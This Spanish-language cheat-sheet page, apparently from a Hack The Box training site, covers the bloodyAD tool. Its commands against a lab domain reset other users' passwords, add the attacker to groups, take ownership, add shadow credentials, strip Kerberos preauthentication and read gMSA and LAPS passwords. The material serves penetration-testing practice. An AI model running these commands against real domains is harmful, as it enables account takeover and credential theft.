bloodyAD
bloodyAD habla LDAP directamente y convierte cada arista de BloodHound en una orden: GenericAll o ForceChangePassword es set password, AddMember es add groupMember, WriteOwner es set owner. Es la forma más rápida de recorrer un camino de ataque desde Linux.
- Plataforma
- Linux · Windows (Python)
- Web oficial
- github.com/CravateRouge/bloodyAD
- En HTB
- 12 máquinas
Instalación
pipx install bloodyAD
- T1098 Manipulación de cuentas
- T1069.002 Grupos del dominio
- Abuso de ACLs (BloodHound)
- Shadow Credentials
- Cuentas gMSA
- Leer contraseñas LAPS
Chuleta de bloodyAD
Tus datos
Se guardan en este navegador y se aplican a todas las chuletas.
Qué puedo tocar
Objetos sobre los que tienes escritura
bloodyAD --host 10.10.11.20 -d box.htb -u usuario -p 'Password123!' get writable --detail
Abusar de las ACL
Cambiar la contraseña de otro usuario
bloodyAD --host 10.10.11.20 -d box.htb -u usuario -p 'Password123!' set password victima 'NuevaClave123!'
Añadirte a un grupo
bloodyAD --host 10.10.11.20 -d box.htb -u usuario -p 'Password123!' add groupMember 'NOMBRE DEL GRUPO' usuario
Hacerte propietario y darte control total
bloodyAD --host 10.10.11.20 -d box.htb -u usuario -p 'Password123!' set owner victima usuario
bloodyAD --host 10.10.11.20 -d box.htb -u usuario -p 'Password123!' add genericAll victima usuario
Shadow credentials
bloodyAD --host 10.10.11.20 -d box.htb -u usuario -p 'Password123!' add shadowCredentials victima
Quitar la preautenticación (AS-REP roasting dirigido)
bloodyAD --host 10.10.11.20 -d box.htb -u usuario -p 'Password123!' add uac victima -f DONT_REQ_PREAUTH
Leer contraseñas
gMSA
bloodyAD --host 10.10.11.20 -d box.htb -u usuario -p 'Password123!' get object 'cuenta_gmsa$' --attr msDS-ManagedPassword
LAPS
bloodyAD --host 10.10.11.20 -d box.htb -u usuario -p 'Password123!' get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime
Ningún comando coincide.
Máquinas de HTB donde se usa bloodyAD
Sacadas de los capítulos de los vídeos de IppSec en los que aparece bloodyAD. El enlace ▶ salta al minuto de esa parte.
Guías que usan bloodyAD
- Abuso de ACLs en Active Directory: GenericAll, WriteDacl, Shadow Credentials y DCSync 4 min de lectura Qué hacer con cada flecha de BloodHound: cambiar contraseñas, añadirte a grupos, Shadow Credentials, darte DCSync con WriteDacl y leer LAPS o gMSA.
- Contraseñas en Active Directory: GPP (Groups.xml), LAPS y gMSA 3 min de lectura Tres sitios donde el propio dominio guarda contraseñas que puedes leer: cpassword en Groups.xml, la contraseña LAPS del administrador local y el hash de las cuentas gMSA.